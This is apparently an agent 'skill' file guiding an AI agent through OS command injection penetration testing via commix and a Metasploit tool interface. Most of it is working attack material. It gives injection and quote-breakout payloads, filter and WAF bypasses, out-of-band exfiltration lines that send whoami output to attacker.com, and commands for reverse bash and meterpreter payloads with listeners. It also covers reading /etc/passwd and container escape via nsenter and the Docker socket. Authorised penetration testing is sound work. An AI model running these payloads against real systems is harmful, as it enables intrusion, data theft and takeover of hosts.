cmdi-pentest

name	cmdi-pentest
description	Guides OS command injection testing with shell metacharacter probes, blind exfiltration, filter bypass, and OS-specific syntax. Use when inputs reach shell commands such as ping, nslookup, file conversion, or when shell metacharacters alter application behavior.

Command Injection Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.

Triggers

• Features invoking system commands: ping, traceroute, nslookup, whois, dig
• File conversion, image/audio processing, or PDF generation wrappers
• Hostname/IP validation endpoints passing input to shell utilities
• Response timing changes with sleep 5 or ping -c 5 style payloads
• Shell metacharacters (;, |, &, backtick, $()) cause errors or different output
• Argument-style injection into CLI tools (curl, wget, git, tar)

Workflow

Task Progress:
- [ ] Identify injection points and underlying OS (Linux vs Windows)
- [ ] Test with low-impact probes (; id, | whoami, & echo test)
- [ ] Confirm blind via time-based or OOB DNS exfiltration
- [ ] Apply filter bypasses when characters are blocked
- [ ] Escalate with chained commands and document command output evidence

Detection

Linux probes

CLI (primary for web vulns):

commix -u "http://<target>/ping?ip=127.0.0.1" --batch
commix -r request.txt --batch --level=3

Payloads: ; id, | id, || id, & id, `id`, $(id)

MSF MCP: No direct module. Use msf_search_modules(query="command injection").

Windows probes

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --batch --os=win

Payloads: & whoami, | whoami, %0a whoami, || whoami

MSF MCP: No direct module.

Time-based blind

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --technique=T --time-sec=5 --batch

Linux: ; sleep 5, | ping -c 5 127.0.0.1 Windows: | powershell Start-Sleep 5

MSF MCP: No direct module.

OOB blind

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --technique=FT --batch

Payloads: ; nslookup $(whoami).attacker.com, | curl http://attacker.com/$(whoami)

MSF MCP: No direct module.

Exploitation by variant

Chaining operators

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --os-cmd="id" --batch
commix -u "http://<target>/ping?ip=127.0.0.1" --os-shell --batch

Operator	Behavior
;	Run sequentially
|	Pipe stdout
&&	Run if prior succeeded
||	Run if prior failed

MSF MCP post-RCE:

msf_generate_payload(
  engagement_id="<id>",
  payload="cmd/unix/reverse_bash",
  format="raw",
  options={"LHOST": "<attacker>", "LPORT": 4444},
  output_path="evidence/msf/revshell.sh"
)
msf_start_listener(
  engagement_id="<id>",
  payload="cmd/unix/reverse_bash",
  lhost="<attacker>",
  lport=4444
)

Quote-breakout injection

CLI (primary):

127.0.0.1"; id #
127.0.0.1'; id #
127.0.0.1$(id)
127.0.0.1`id`

MSF MCP: No direct module.

Wildcard $@ and brace expansion

CLI (primary):

# Wildcard $@ expands to positional params in some shells
curl "http://<target>/ping?ip=127.0.0.1;cat$@/etc/passwd"
# Brace expansion
curl "http://<target>/ping?ip=127.0.0.1;{cat,/etc/passwd}"
curl "http://<target>/ping?ip=127.0.0.1;cat${IFS}/etc/passwd"

MSF MCP: No direct module.

Windows for loop and %VAR%

CLI (primary):

# CMD for loop
curl "http://<target>/ping?ip=127.0.0.1&for%20/f%20%22delims=%22%20%25i%20in%20('whoami')%20do%20%40%25i"
# %VAR% substring bypass for filters
curl "http://<target>/ping?ip=127.0.0.1&wh%25%25oami"
curl "http://<target>/ping?ip=127.0.0.1&cmd.exe%20/c%20whoami"

MSF MCP:

msf_generate_payload(
  engagement_id="<id>",
  payload="windows/x64/meterpreter/reverse_https",
  format="psh",
  options={"LHOST": "<attacker>", "LPORT": 443},
  output_path="evidence/msf/payload.ps1"
)

Container escape via CMDi

CLI (primary):

# If app runs in container with mounted docker socket or privileged mode
curl "http://<target>/ping?ip=127.0.0.1;docker ps"
curl "http://<target>/ping?ip=127.0.0.1;nsenter -t 1 -m -u -i -n sh"
curl "http://<target>/ping?ip=127.0.0.1;cat /proc/1/cgroup"
curl "http://<target>/ping?ip=127.0.0.1;mount"

Check for /var/run/docker.sock, CAP_SYS_ADMIN, host PID namespace.

MSF MCP: No direct module. Load container-devops-pentest after host escape.

Filter/WAF bypass

CLI (primary):

commix -u "http://<target>/ping?ip=127.0.0.1" --tamper=space2ifs --batch

Space bypass: ${IFS}id, $'\x09'id, {cat,/etc/passwd}, cat</etc/passwd Character filter: i''d, /???/??t /???/p??s??, $'\x69\x64' Windows: %COMSPEC% /c whoami, who^ami

MSF MCP: No direct module.

Impact escalation

Stage	CLI	MSF MCP
Confirm	id, whoami	N/A
Read files	cat /etc/passwd	N/A
Reverse shell	bash/curl pipe	generate_payload + start_listener
Container escape	docker/nsenter	post modules after session

Tool reference

commix -u "http://<target>/ping?ip=127.0.0.1" --batch --level=3
commix -r request.txt --os-cmd="id" --technique=TE
commix -u "URL" --os-shell --tamper=space2ifs

Related skills

• web-app-pentest - overall web testing flow
• linux-pentest / windows-pentest - post-exploitation after shell obtained
• ssti-pentest - template engines may offer alternate command execution path
• container-devops-pentest - container escape after CMDi